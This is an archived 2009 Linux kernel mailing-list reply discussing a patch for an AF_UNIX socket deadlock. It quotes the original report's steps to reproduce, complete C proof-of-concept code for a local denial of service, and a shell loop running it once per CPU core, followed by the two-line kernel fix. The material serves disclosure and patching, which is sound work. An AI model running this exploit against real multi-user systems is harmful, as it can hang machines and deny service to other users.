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Message-ID: <2375c9f90910190002m372edafq9a4c95d754640487@mail.gmail.com> Date: Mon, 19 Oct 2009 15:02:14 +0800 From: Américo Wang <xiyou.wangcong@...il.com> To: Tomoki Sekiyama <tomoki.sekiyama.qu@...achi.com> Cc: linux-kernel@...r.kernel.org, netdev@...r.kernel.org, alan@...rguk.ukuu.org.uk, davem@...emloft.net, satoshi.oshima.fk@...achi.com, hidehiro.kawai.ez@...achi.com, hideo.aoki.tk@...achi.com Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama <tomoki.sekiyama.qu@...achi.com> wrote: > Hi, > I found a deadlock bug in UNIX domain socket, which makes able to DoS > attack against the local machine by non-root users. > > How to reproduce: > 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct > namespace(*), and shutdown(2) it. > 2. Repeat connect(2)ing to the listening socket from the other sockets > until the connection backlog is full-filled. > 3. connect(2) takes the CPU forever. If every core is taken, the > system hangs. > > PoC code: (Run as many times as cores on SMP machines.) Interesting... I tried this with the following command: % for i in `seq 1 $(grep processor -c /proc/cpuinfo)`; do ./unix-socket-dos-exploit; echo "=====$i====";done Connection OK Connection OK =====1==== Connection OK Connection OK =====2==== Connection OK Connection OK =====3==== Connection OK Connection OK =====4==== My system doesn't hang at all. Am I missing something? Thanks! > > int main(void) > { > int ret; > int csd; > int lsd; > struct sockaddr_un sun; > > /* make an abstruct name address (*) */ > memset(&sun, 0, sizeof(sun)); > sun.sun_family = PF_UNIX; > sprintf(&sun.sun_path[1], "%d", getpid()); > > /* create the listening socket and shutdown */ > lsd = socket(AF_UNIX, SOCK_STREAM, 0); > bind(lsd, (struct sockaddr *)&sun, sizeof(sun)); > listen(lsd, 1); > shutdown(lsd, SHUT_RDWR); > > /* connect loop */ > alarm(15); /* forcely exit the loop after 15 sec */ > for (;;) { > csd = socket(AF_UNIX, SOCK_STREAM, 0); > ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun)); > if (-1 == ret) { > perror("connect()"); > break; > } > puts("Connection OK"); > } > return 0; > } > > (*) Make sun_path[0] = 0 to use the abstruct namespace. > If a file-based socket is used, the system doesn't deadlock because > of context switches in the file system layer. > > Why this happens: > Error checks between unix_socket_connect() and unix_wait_for_peer() are > inconsistent. The former calls the latter to wait until the backlog is > processed. Despite the latter returns without doing anything when the > socket is shutdown, the former doesn't check the shutdown state and > just retries calling the latter forever. > > Patch: > The patch below adds shutdown check into unix_socket_connect(), so > connect(2) to the shutdown socket will return -ECONREFUSED. > > Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@...achi.com> > Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@...achi.com> > --- > net/unix/af_unix.c | 2 ++ > 1 files changed, 2 insertions(+), 0 deletions(-) > > diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c > index 51ab497..fc820cd 100644 > --- a/net/unix/af_unix.c > +++ b/net/unix/af_unix.c > @@ -1074,6 +1074,8 @@ restart: > err = -ECONNREFUSED; > if (other->sk_state != TCP_LISTEN) > goto out_unlock; > + if (other->sk_shutdown & RCV_SHUTDOWN) > + goto out_unlock; > > if (unix_recvq_full(other)) { > err = -EAGAIN; -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@...r.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
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